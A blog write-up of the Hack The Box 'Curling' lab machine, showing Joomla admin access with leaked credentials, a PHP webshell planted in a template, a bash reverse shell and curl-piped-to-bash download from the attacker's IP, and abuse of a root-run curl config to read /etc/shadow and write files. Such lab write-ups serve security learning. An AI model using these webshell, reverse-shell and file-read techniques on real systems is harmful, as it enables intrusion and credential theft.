writeup 2025-11-10 · 6 min read

Hack The Box Curling Writeup (Easy Linux)

Easy Linux box. A secret.txt password logs into Joomla for RCE, a nested password_backup unpacks to floris' SSH creds, and a root curl config reads files.

Hack The Box Curling Writeup (Easy Linux)

Summary

Curling is an Easy Linux machine running Joomla 3.8.8. An HTML comment on the site points at secret.txt, whose base64 decodes to the password Curling2018!, and a blog post names the user floris, so the pair logs into the Joomla administrator panel. Editing the protostar template’s index.php to add a PHP system() call gives command execution as www-data, which a curl piped shell.sh upgrades to a reverse shell. floris’ home holds a world readable password_backup that is a bzip2/gzip/tar nested archive; unpacking it with xxd -r then bunzip2, gunzip, bunzip2 and tar yields floris’ SSH password. In floris’ home an admin-area directory holds files a root job runs against a curl config; changing its url to file:///etc/shadow reads arbitrary files as root, and adding an output line turns it into an arbitrary file write that could overwrite /etc/shadow.

Web Server Enumeration

Reading through the website pages, I can see a post that (potentially)

Curling website blog post hinting at hidden content

I can see it’s a Joomla website. I get the software version by accessing:

1
http://10.129.1.248/administrator/manifests/files/joomla.xml

As you can see from the screenshot below:

joomla.xml manifest revealing the Joomla 3.8.8 version

It’s Joomla version 3.8.8. Sadly for us, no interesting exploits are available for this specific version.

When reading through the source code on one of the pages I can see a HTML comment that says “secret.txt”:

Page source HTML comment referencing secret.txt

I can access “secret.txt”, it’s a simple text file. I use wget to save it to my machine:

1
wget http://10.129.1.248/secret.txt

I can see from the string format it’s base64 encoded. I decode it:

1
2
3
4
5
$ cat secret.txt
Q3VybGluZzIwMTgh

$ cat secret.txt | base64 -d 
Curling2018!

It looks like it’s a password. In one of the blog posts, I can see a possible username (floris):

Blog post disclosing the username floris

I access the administrator page at:

1
http://10.129.1.248/administrator/index.php

And use the credentials:

1
2
Username: floris
Password: Curling2018!

To log in to the admin panel:

Joomla administrator dashboard after logging in as floris

Remote code execution is easy now. I went to the edit template page:

1
http://10.129.1.248/administrator/index.php?option=com_templates&view=templates

Selected the template in use by the website (protostar):

Joomla template manager with the protostar template selected

I then insert malicious php code into index.php and save the template:

protostar index.php edited to include a PHP system() webshell

More specifically:

1
system($_REQUEST['cmd']);

Then I can access the website index.php and execute arbitrary OS commands:

Website index.php executing an OS command through the injected PHP

I create a bash reverse shell (shell.sh):

1
/bin/bash -i >& /dev/tcp/10.10.14.57/9001 0>&1

Then I start a python http server:

1
sudo python3 -m http.server 80

And a netcat listener on port 9001 (same as in shell.sh):

1
nc -lvnp 9001

Then I used my command execution premsie to download the shell and execute in bash right away (victim machine):

1
http://10.129.1.248/index.php?cmd=curl 10.10.14.57/shell.sh|bash

Immediately I got a connection back as “www-data”:

1
2
www-data@curling:/dev/shm$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I did perform a shell stabilization technique:

1
2
3
4
5
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
$ ^Z (ctrl + Z)

$ stty raw -echo; fg

Horizontal Privilege Escalation

I noticed, in floris’s home directory, a “password_backup” file.

1
2
www-data@curling:/dev/shm$ ls -la /home/floris/password_backup 
-rw-r--r-- 1 floris floris 1076 May 22  2018 /home/floris/password_backup

As you can see, everyone can read the file. If I cat it, I see it’s a hex output, likely from xxd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@curling:/dev/shm$ cat /home/floris/password_backup

00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

I do copy this file to /dev/shm so I can poke with it:

1
cp /home/floris/password_backup/ /dev/shm

After a long while poking with this file, I noticed every time I extracted it, it returned me another compressed file but using yet another compression algorithm. I created this oneliner that takes the original password_backup file and uses all tools to decompress to ultimately get the original password.txt file:

1
xxd -r password_backup | bunzip2 | gunzip | bunzip2 | tar -xO > password.txt

The password file has the following contents:

1
5d<wdCbdZu)|hChXll

With that, new credentials:

1
2
Username: floris
Password: 5d<wdCbdZu)|hChXll

I can log in via SSH using this credential.

Vertical Privilege Escalation

In floris home directory I can see a non default folder named admin-area. If I CD into it and list the contents, I can see that the modification date for the files inside is from a minute ago:

admin-area directory with input and report files freshly modified by a root job

That means there’s likely an automated script using those files, and since “root” is the owner of both files, I can assume it’s likely being ran by root. Reading “input” file:

1
2
$ cat input 
url = "http://127.0.0.1"

The “report” should be the contents of 127.0.0.1. I decide to edit “url” to point to my IP address:

1
url = "http://10.10.14.57"

I set up a netcat listener on port 80 to receive the potential connection:

1
sudo nc -lvnp 80

And sure enough, I get it:

netcat listener catching the curl request from the root job

It says on the request headers it’s from curl:

1
User-Agent: curl/7.58.0

I read through gtfobins website to find that I can most likely read internal files with curl:

GTFOBins curl page showing arbitrary file read

I do just that, using the url parameter like this:

1
url = "file:///etc/shadow"

And watch the “report” file to catch any changes in (almost) real time:

1
watch cat report

As you can see from the screenshot below, I have confirmed arbitrary file read on the system.

report file showingetc/shadow contents read through the curl config

I use the same technique to read root.txt.

Arbitrary File Write

The “input” file is just a curl config file. I can pass arguments to it like:

1
2
3
floris@curling:~/admin-area$ cat input 
url = "http://10.10.14.57/test"
output = "/tmp/test"

It’ll get my “test” file and save it to /tmp/test:

1
2
floris@curling:~/admin-area$ ls -la /tmp/test 
-rw-r--r-- 1 root root 6 Nov 10 17:56 /tmp/test

With that I could (in theory) get /etc/shadow like before, generate a proper hashed password I control, replace the original hashed password for root in shadow and use this arbitrary file write vulnerability to write to /etc/shadow in the system and be able to log in as root using the password I specified.

Just an idea though, pretty sure it’d work but I’m off to a new box right now.

This post is licensed under CC BY 4.0 by the author.